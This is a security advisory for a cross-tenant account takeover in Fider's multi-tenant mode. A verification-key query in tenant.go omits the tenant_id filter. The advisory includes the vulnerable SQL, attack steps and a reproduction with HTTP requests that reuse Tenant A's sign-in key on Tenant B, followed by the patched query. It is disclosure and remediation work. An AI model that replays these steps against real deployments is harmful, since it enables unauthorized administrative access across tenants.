In multi-tenant mode (HOST_MODE=multi), an attacker can use an email verification key issued by Tenant A to authenticate as the same email address on Tenant B. This completely bypasses tenant isolation and allows unauthorized account takeover across tenants.
Single-host deployments (HOST_MODE=single, the default) are NOT affected.
app/services/sqlstore/postgres/tenant.go:133 — getVerificationByKey
The getVerificationByKey function queries the email_verifications table without filtering by tenant_id:
-- Vulnerable query (line 133)
SELECT id, email, name, key, created_at, verified_at, expires_at, kind, user_id, attempts
FROM email_verifications
WHERE key = $1 AND kind = $2
LIMIT 1
The table's unique index is (tenant_id, key) — the same key can theoretically exist across tenants. Without the tenant_id filter, the query returns the first matching row regardless of tenant.
Sibling queries in the same file correctly scope by tenant_id, making this a clear regression from the established secure pattern:
-- Secure pattern at line 148
WHERE tenant_id = $1 AND email = $2 AND code = $3 AND kind = $4
-- Secure pattern at line 182 (setKeyAsVerified)
WHERE tenant_id = $2 AND key = $3 AND verified_at IS NULL
Prerequisite: the attacker only needs an account on any tenant (zero special privilege).
tenanta.example.com with attacker@evil.comtenanta.example.com and obtains the verification key from the emailhttps://tenantb.example.com/signin/verify?k=<KEY>tenant_id filtering, finds Tenant A's verification recordConsequence:
attacker@evil.com already exists as an administrator on Tenant B → full administrative access is grantedVerified on a local Docker environment with HOST_MODE=multi, getfider/fider:stable (commit d5a80ea5).
# Step 1 — Request sign-in email on Tenant A
POST http://tenanta.fider.local/_api/signin
{"email": "admin-a@test.com"}
# Step 2 — Extract key from email link (retrieved via MailHog)
k=Urpoz9ntWfOBgpF72UWklTJUOjyLUhdzOLEvP6G5KVUgyRnc5ioMpwF6NOs0XNrE
# Step 3 — Use Tenant A's key on Tenant B
GET http://tenantb.fider.local/signin/verify?k=Urpoz9ntWfOBgpF72UWklTJUOjyLUhdzOLEvP6G5KVUgyRnc5ioMpwF6NOs0XNrE
# Result — Successfully authenticated on Tenant B as admin-a@test.com
The browser session showed the user logged in on Tenant B with the identity belonging to Tenant A.
Add the tenant_id filter to the query in app/services/sqlstore/postgres/tenant.go:133:
func getVerificationByKey(ctx context.Context, q *query.GetVerificationByKey) error {
return using(ctx, func(trx *dbx.Trx, tenant *entity.Tenant, user *entity.User) error {
verification := dbEntities.EmailVerification{}
query := `SELECT id, email, name, key, code, created_at, verified_at,
expires_at, kind, user_id, attempts
FROM email_verifications
WHERE tenant_id = $3 AND key = $1 AND kind = $2
LIMIT 1`
err := trx.Get(&verification, query, q.Key, q.Kind, tenant.ID)
if err != nil {
return errors.Wrap(err, "failed to get email verification by its key")
}
q.Result = verification.ToModel()
return nil
})
}
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N — 8.5 (High)
Vulnerable file: app/services/sqlstore/postgres/tenant.go:133
Secure sibling patterns: app/services/sqlstore/postgres/tenant.go:148, :182
Entry point: app/handlers/signin.go:319 (VerifySignInKey)
Dispatch chain: app/handlers/common.go:127 (validateKey → GetVerificationByKey)
Patched in: v0.36.0 (commit ce4f44bb)
{
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-03T17:24:13Z",
"nvd_published_at": "2026-11-11T19:17:43Z",
"severity": "CRITICAL"
}